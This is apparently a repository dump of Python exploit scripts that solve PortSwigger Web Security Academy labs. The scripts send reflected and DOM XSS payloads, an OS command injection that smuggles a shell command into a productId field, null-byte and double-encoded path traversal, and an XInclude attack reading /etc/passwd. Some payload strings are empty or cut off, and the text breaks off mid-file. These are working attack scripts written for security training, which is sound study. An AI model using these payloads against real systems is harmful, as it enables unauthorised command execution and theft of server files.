48 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
49 | args = parser.parse_args()
50 | parsed_url = urllib.parse.urlparse(args.url)
51 | host = parsed_url.netloc
52 | print(parsed_url)
53 | url = parsed_url.scheme + '://' + host
54 | s = requests.Session()
55 | s.proxies = proxies # Comment this line to disable proxying
56 | s.verify = False
57 | try:
58 | r = s.get(url, allow_redirects=False)
59 | time.sleep(1)
60 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
61 | print('\n[-] HOST seems to be down ')
62 | sys.exit(-1)
63 | else:
64 | print('[+] Trying send a cross-site scripting attack that calls the alert function...')
65 | r = send_xss(s, url)
66 | time.sleep(2)
67 | if r.status_code == 200 :
68 | r = s.get(url)
69 | if 'Congratulations, you solved the lab!' in r.text:
70 | print('[+] The lab is solved')
71 | else:
72 | print('[+] The Exploit sent the given payload !')
73 | except requests.exceptions.ProxyError:
74 | print('[-] PROXY seems to be missconfigured ')
75 | except KeyboardInterrupt:
76 | sys.exit(0)
77 |
78 | if __name__ == "__main__":
79 | main()
80 |
--------------------------------------------------------------------------------
/OSCommandInjection/exploit-lab01.py:
--------------------------------------------------------------------------------
1 | # OS command injection, simple case
2 |
3 | # https://portswigger.net/web-security/os-command-injection/lab-simple
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def run_cmd(url, cmd):
26 | check_stock_path = '/product/stock'
27 | params = {'productId': '1 & ' + cmd + ' #', 'storeId': '1' }
28 | print("[+] Trying to run command '%s' on the target website..." % cmd)
29 | print(f"[+] Sending post request on {check_stock_path}:\n\t{params}\n")
30 | r = requests.post(url + check_stock_path, data=params, verify=False, proxies=proxies)
31 | time.sleep(1)
32 | if r.status_code == 200 and len(r.text) > 3:
33 | print("[+] %s\'s response:" % url)
34 | print(r.text)
35 | else:
36 | print("[-] Command Injection Failed !!!")
37 |
38 |
39 | ##########################################################
40 | # MAIN
41 | ##########################################################
42 |
43 | def main():
44 | print('[+] Lab: OS command injection, simple case')
45 | parser = argparse.ArgumentParser(description="[+] Lab: OS command injection, simple case")
46 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
47 | parser.add_argument('-C',dest='cmd',required=True, help="Command")
48 | args = parser.parse_args()
49 | parsed_url = urllib.parse.urlparse(args.url)
50 | host = parsed_url.netloc
51 | print(parsed_url)
52 | url = parsed_url.scheme + '://' + host
53 | cmd = args.cmd
54 | s = requests.Session()
55 | s.proxies = proxies
56 | s.verify = False
57 | try:
58 | r = s.get(url, allow_redirects=False)
59 | time.sleep(1)
60 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
61 | print('\n[-] HOST seems to be down ')
62 | sys.exit(-1)
63 | else:
64 | print('[+] Trying send OS Command Injection ...\n')
65 | time.sleep(1)
66 | run_cmd(url, cmd)
67 | time.sleep(2)
68 | r = s.get(url)
69 | print(r)
70 | if 'Congratulations, you solved the lab!' in r.text:
71 | print('[+] The lab is solved !')
72 | except requests.exceptions.ProxyError:
73 | print('[-] PROXY seems to be missconfigured ')
74 | except KeyboardInterrupt:
75 | sys.exit(0)
76 |
77 | if __name__ == "__main__":
78 | main()
79 |
--------------------------------------------------------------------------------
/DirectoryTraversal/exploit-lab06.py:
--------------------------------------------------------------------------------
1 | # File path traversal, validation of file extension with null byte bypass
2 |
3 | # https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def read_file(s, url, file):
26 | file_path = url + '/image?filename=../../..'
27 | suffix = '%00.png'
28 | payload = file + suffix
29 | print('[+] Trying to read %s on the target server...' % payload)
30 | print('\n[+] Sending GET request to "%s"' % (file_path + payload))
31 | r = s.get(file_path + payload)
32 | print('[+] Server response:\n\n%s' % r.text)
33 |
34 |
35 | ##########################################################
36 | # MAIN
37 | ##########################################################
38 |
39 | def main():
40 | print('[+] Lab: File path traversal, validation of file extension with null byte bypass')
41 | parser = argparse.ArgumentParser(description="[+] Lab: File path traversal, validation of file extension with null byte bypass")
42 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
43 | parser.add_argument('-F',dest='file',required=True, help="Target file's path")
44 | args = parser.parse_args()
45 | file = args.file
46 | parsed_url = urllib.parse.urlparse(args.url)
47 | host = parsed_url.netloc
48 | print(parsed_url)
49 | url = parsed_url.scheme + '://' + host
50 | s = requests.Session()
51 | s.proxies = proxies # Comment this line to disable proxying
52 | s.verify = False
53 | try:
54 | r = s.get(url, allow_redirects=False)
55 | time.sleep(1)
56 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
57 | print('\n[-] HOST seems to be down ')
58 | sys.exit(-1)
59 | else:
60 | print('[+] Trying send Directory Traversal attack ...\n')
61 | time.sleep(1)
62 | r = read_file(s, url, file)
63 | s.cookies.clear()
64 | time.sleep(2)
65 | r = s.get(url)
66 | if 'Congratulations, you solved the lab!' in r.text:
67 | print('[+] The lab is solved !')
68 | except requests.exceptions.ProxyError:
69 | print('[-] PROXY seems to be missconfigured ')
70 | except KeyboardInterrupt:
71 | sys.exit(0)
72 |
73 | if __name__ == "__main__":
74 | main()
75 |
--------------------------------------------------------------------------------
/DirectoryTraversal/exploit-lab04.py:
--------------------------------------------------------------------------------
1 | # File path traversal, traversal sequences stripped with superfluous URL-decode
2 |
3 | # https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def read_file(s, url, file):
26 | file_path = url + '/image?filename='
27 | file = urllib.parse.quote_plus(urllib.parse.quote_plus('../../..' + file))
28 | print('\n[+] Trying to read %s on the target server...' % file)
29 | print('\n[+] Sending GET request to "%s"' % (file_path + file))
30 | r = s.get(file_path + file)
31 | print('[+] Server response:\n\n%s' % r.text)
32 |
33 |
34 | ##########################################################
35 | # MAIN
36 | ##########################################################
37 |
38 | def main():
39 | print('[+] Lab: File path traversal, traversal sequences stripped with superfluous URL-decode')
40 | parser = argparse.ArgumentParser(description="[+] Lab: File path traversal, traversal sequences stripped with superfluous URL-decode")
41 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
42 | parser.add_argument('-F',dest='file',required=True, help="Target file's path")
43 | args = parser.parse_args()
44 | file = args.file
45 | parsed_url = urllib.parse.urlparse(args.url)
46 | host = parsed_url.netloc
47 | print(parsed_url)
48 | url = parsed_url.scheme + '://' + host
49 | s = requests.Session()
50 | s.proxies = proxies # Comment this line to disable proxying
51 | s.verify = False
52 | try:
53 | r = s.get(url, allow_redirects=False)
54 | time.sleep(1)
55 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
56 | print('\n[-] HOST seems to be down ')
57 | sys.exit(-1)
58 | else:
59 | print('[+] Trying send Directory Traversal attack ...\n')
60 | time.sleep(1)
61 | r = read_file(s, url, file)
62 | s.cookies.clear()
63 | time.sleep(2)
64 | r = s.get(url)
65 | if 'Congratulations, you solved the lab!' in r.text:
66 | print('[+] The lab is solved !')
67 | except requests.exceptions.ProxyError:
68 | print('[-] PROXY seems to be missconfigured ')
69 | except KeyboardInterrupt:
70 | sys.exit(0)
71 |
72 | if __name__ == "__main__":
73 | main()
74 |
--------------------------------------------------------------------------------
/XSS/exploit-lab12.py:
--------------------------------------------------------------------------------
1 | # Reflected DOM XSS
2 |
3 | # https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | from bs4 import BeautifulSoup
13 | import argparse
14 |
15 |
16 | warnings.filterwarnings("ignore", category=DeprecationWarning)
17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18 |
19 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 |
21 |
22 | ##########################################################
23 | # FUNCTIONS
24 | ##########################################################
25 |
26 | def send_payload(s, url, payload):
27 | injection_uri = url + payload
28 | r = s.get(injection_uri)
29 | time.sleep(1)
30 | print('[+] Targeted endpoint or query parameter:\n %s' % url)
31 | print('[+] Using payload:\t%s' % payload)
32 | return r
33 |
34 | def send_xss(s, url):
35 | search_path = url + '/?search='
36 | payload = 'gwyo\\"};alert(1);//'
37 | # r = send_payload(s, search_path, urllib.parse.quote(payload))
38 | r = send_payload(s, search_path, payload)
39 | return r
40 |
41 |
42 | ##########################################################
43 | # MAIN
44 | ##########################################################
45 |
46 | def main():
47 | print('[+] Lab: Reflected DOM XSS')
48 | parser = argparse.ArgumentParser(description="[+] Lab: Reflected DOM XSS")
49 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
50 | args = parser.parse_args()
51 | parsed_url = urllib.parse.urlparse(args.url)
52 | host = parsed_url.netloc
53 | print(parsed_url)
54 | url = parsed_url.scheme + '://' + host
55 | s = requests.Session()
56 | s.proxies = proxies # Comment this line to disable proxying
57 | s.verify = False
58 | try:
59 | r = s.get(url, allow_redirects=False)
60 | time.sleep(1)
61 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
62 | print('\n[-] HOST seems to be down ')
63 | sys.exit(-1)
64 | else:
65 | print('[+] Trying send a cross-site scripting attack that calls the alert function...')
66 | r = send_xss(s, url)
67 | if r.status_code == 200 :
68 | s.cookies.clear()
69 | s.headers.clear()
70 | time.sleep(3)
71 | r = s.get(url)
72 | if 'Congratulations, you solved the lab!' in r.text:
73 | print('[+] The lab is solved')
74 | else:
75 | print('[+] The Exploit sent the given payload !')
76 | except requests.exceptions.ProxyError:
77 | print('[-] PROXY seems to be missconfigured ')
78 | except KeyboardInterrupt:
79 | sys.exit(0)
80 |
81 |
82 | if __name__ == "__main__":
83 | main()
84 |
--------------------------------------------------------------------------------
/XXE/exploit-lab07.py:
--------------------------------------------------------------------------------
1 | # Exploiting XInclude to retrieve files
2 |
3 | # https://portswigger.net/web-security/xxe/lab-xinclude-attack
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | import argparse
13 |
14 |
15 | warnings.filterwarnings("ignore", category=DeprecationWarning)
16 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
17 |
18 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
19 |
20 |
21 | ##########################################################
22 | # FUNCTIONS
23 | ##########################################################
24 |
25 | def send_xxe(s, url):
26 | check_stock_path = url + '/product/stock'
27 | exploit_body = f""""""
28 | exploit_data = {"productId": '1' + exploit_body, "storeId": "3"}
29 | print('\n[+] Using payload:\n%s' % exploit_body)
30 | r = s.post(check_stock_path, data=exploit_data)
31 | time.sleep(2)
32 | res = r.text
33 | print('\n[+] Response:\n%s' % res)
34 | return r
35 |
36 |
37 | ##########################################################
38 | # MAIN
39 | ##########################################################
40 |
41 | def main():
42 | print('[+] Lab: Exploiting XInclude to retrieve files')
43 | parser = argparse.ArgumentParser(description="[+] Lab: Exploiting XInclude to retrieve files")
44 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
45 | args = parser.parse_args()
46 | parsed_url = urllib.parse.urlparse(args.url)
47 | host = parsed_url.netloc
48 | print(parsed_url)
49 | url = parsed_url.scheme + '://' + host
50 | s = requests.Session()
51 | s.proxies = proxies # Comment this line to disable proxying
52 | s.verify = False
53 | try:
54 | r = s.get(url, allow_redirects=False)
55 | time.sleep(1)
56 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
57 | print('\n[-] HOST seems to be down ')
58 | sys.exit(-1)
59 | else:
60 | print("[+] Trying to send a XXE attack to retrieve the content of /etc/passwd...")
61 | r = send_xxe(s, url)
62 | s.cookies.clear()
63 | s.headers.clear()
64 | time.sleep(5)
65 | r = s.get(url, allow_redirects=False)
66 | time.sleep(1)
67 | if r.status_code == 200 and 'Congratulations, you solved the lab!' in r.text:
68 | print('[+] The lab is solved !')
69 | elif r.status_code == 200:
70 | print('[+] The Exploit sent the given payload !')
71 | except requests.exceptions.ProxyError:
72 | print('[-] PROXY seems to be missconfigured ')
73 | except KeyboardInterrupt:
74 | sys.exit(0)
75 |
76 | if __name__ == "__main__":
77 | main()
78 |
--------------------------------------------------------------------------------
/XSS/exploit-lab11.py:
--------------------------------------------------------------------------------
1 | # DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded
2 |
3 | # https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | from bs4 import BeautifulSoup
13 | import argparse
14 |
15 |
16 | warnings.filterwarnings("ignore", category=DeprecationWarning)
17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18 |
19 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 |
21 |
22 | ##########################################################
23 | # FUNCTIONS
24 | ##########################################################
25 |
26 | def send_payload(s, url, payload):
27 | injection_uri = url + payload
28 | r = s.get(injection_uri)
29 | time.sleep(1)
30 | print('[+] Targeted endpoint or query parameter:\n %s' % url)
31 | print('[+] Using payload:\t%s' % payload)
32 | return r
33 |
34 | def send_xss(s, url):
35 | search_path = url + '/?search='
36 | xss_payload = """{{$on.constructor('alert(1)')()}}"""
37 | r = send_payload(s, search_path, urllib.parse.quote(xss_payload))
38 | return r
39 |
40 |
41 | def main():
42 | print('[+] Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded')
43 | parser = argparse.ArgumentParser(description="[+] Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded")
44 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
45 | args = parser.parse_args()
46 | parsed_url = urllib.parse.urlparse(args.url)
47 | host = parsed_url.netloc
48 | print(parsed_url)
49 | url = parsed_url.scheme + '://' + host
50 | s = requests.Session()
51 | s.proxies = proxies # Comment this line to disable proxying
52 | s.verify = False
53 | try:
54 | r = s.get(url, allow_redirects=False)
55 | time.sleep(1)
56 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
57 | print('\n[-] HOST seems to be down ')
58 | sys.exit(-1)
59 | else:
60 | print('[+] Trying send a cross-site scripting attack that calls the alert function...')
61 | r = send_xss(s, url)
62 | if r.status_code == 200 :
63 | s.cookies.clear()
64 | s.headers.clear()
65 | time.sleep(3)
66 | r = s.get(url)
67 | if 'Congratulations, you solved the lab!' in r.text:
68 | print('[+] The lab is solved')
69 | else:
70 | print('[+] The Exploit sent the given payload !')
71 | except requests.exceptions.ProxyError:
72 | print('[-] PROXY seems to be missconfigured ')
73 | except KeyboardInterrupt:
74 | sys.exit(0)
75 |
76 | if __name__ == "__main__":
77 | main()
78 |
--------------------------------------------------------------------------------
/XSS/exploit-lab04.py:
--------------------------------------------------------------------------------
1 | # DOM XSS in innerHTML sink using source location.search
2 |
3 | # https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | from bs4 import BeautifulSoup
13 | import argparse
14 |
15 |
16 | warnings.filterwarnings("ignore", category=DeprecationWarning)
17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18 |
19 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 |
21 |
22 | ##########################################################
23 | # FUNCTIONS
24 | ##########################################################
25 |
26 | def send_payload(s, url, payload):
27 | injection_uri = url + payload
28 | r = s.get(injection_uri)
29 | time.sleep(1)
30 | print('[+] Targeted endpoint or query parameter:\n %s' % url)
31 | print('[+] Using payload:\t%s' % payload)
32 | return r
33 |
34 | def send_xss(s, url):
35 | search_path = url + '/?search='
36 | xss_payload = '">
'
37 | r = send_payload(s, search_path, xss_payload)
38 | return r
39 |
40 |
41 | ##########################################################
42 | # MAIN
43 | ##########################################################
44 |
45 | def main():
46 | print('[+] Lab: DOM XSS in innerHTML sink using source location.search')
47 | parser = argparse.ArgumentParser(description="[+] Lab: DOM XSS in innerHTML sink using source location.search")
48 | parser.add_argument('-U',dest='url',required=True, help="Target URL")
49 | args = parser.parse_args()
50 | parsed_url = urllib.parse.urlparse(args.url)
51 | host = parsed_url.netloc
52 | print(parsed_url)
53 | url = parsed_url.scheme + '://' + host
54 | s = requests.Session()
55 | s.proxies = proxies # Comment this line to disable proxying
56 | s.verify = False
57 | try:
58 | r = s.get(url, allow_redirects=False)
59 | time.sleep(1)
60 | if 'Error
' in r.text or 'Server Error: Gateway Timeout' in r.text:
61 | print('\n[-] HOST seems to be down ')
62 | sys.exit(-1)
63 | else:
64 | print('[+] Trying send a cross-site scripting attack that calls the alert function...')
65 | r = send_xss(s, url)
66 | s.cookies.clear()
67 | s.headers.clear()
68 | time.sleep(3)
69 | r = s.get(url)
70 | if r.status_code == 200 and 'Congratulations, you solved the lab!' in r.text:
71 | print('[+] The lab is solved')
72 | elif r.status_code == 200:
73 | print('[+] The Exploit sent the given payload !')
74 | except requests.exceptions.ProxyError:
75 | print('[-] PROXY seems to be missconfigured ')
76 | except KeyboardInterrupt:
77 | sys.exit(0)
78 |
79 | if __name__ == "__main__":
80 | main()
81 |
--------------------------------------------------------------------------------
/XSS/exploit-lab16.py:
--------------------------------------------------------------------------------
1 | # Reflected XSS with some SVG markup allowed
2 |
3 | # https://portswigger.net/web-security/cross-site-scripting/contexts/lab-some-svg-markup-allowed
4 |
5 | import sys
6 | import requests
7 | import urllib3
8 | import urllib.parse
9 | import re
10 | import time
11 | import warnings
12 | from bs4 import BeautifulSoup
13 | import argparse
14 |
15 |
16 | warnings.filterwarnings("ignore", category=DeprecationWarning)
17 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18 |
19 | proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
20 |
21 |
22 | ##########################################################
23 | # FUNCTIONS
24 | ##########################################################
25 |
26 | def send_payload(s, url, payload):
27 | injection_uri = url + payload
28 | r = s.get(injection_uri, verify=False, proxies=proxies)
29 | time.sleep(1)
30 | print('[+] Targeted endpoint or query parameter:\n %s' % url)
31 | print('[+] Using payload:\t%s' % payload)
32 | return r
33 |
34 | def send_xss(s, url):
35 | search_path = url + '/?search='
36 | xss_payload = """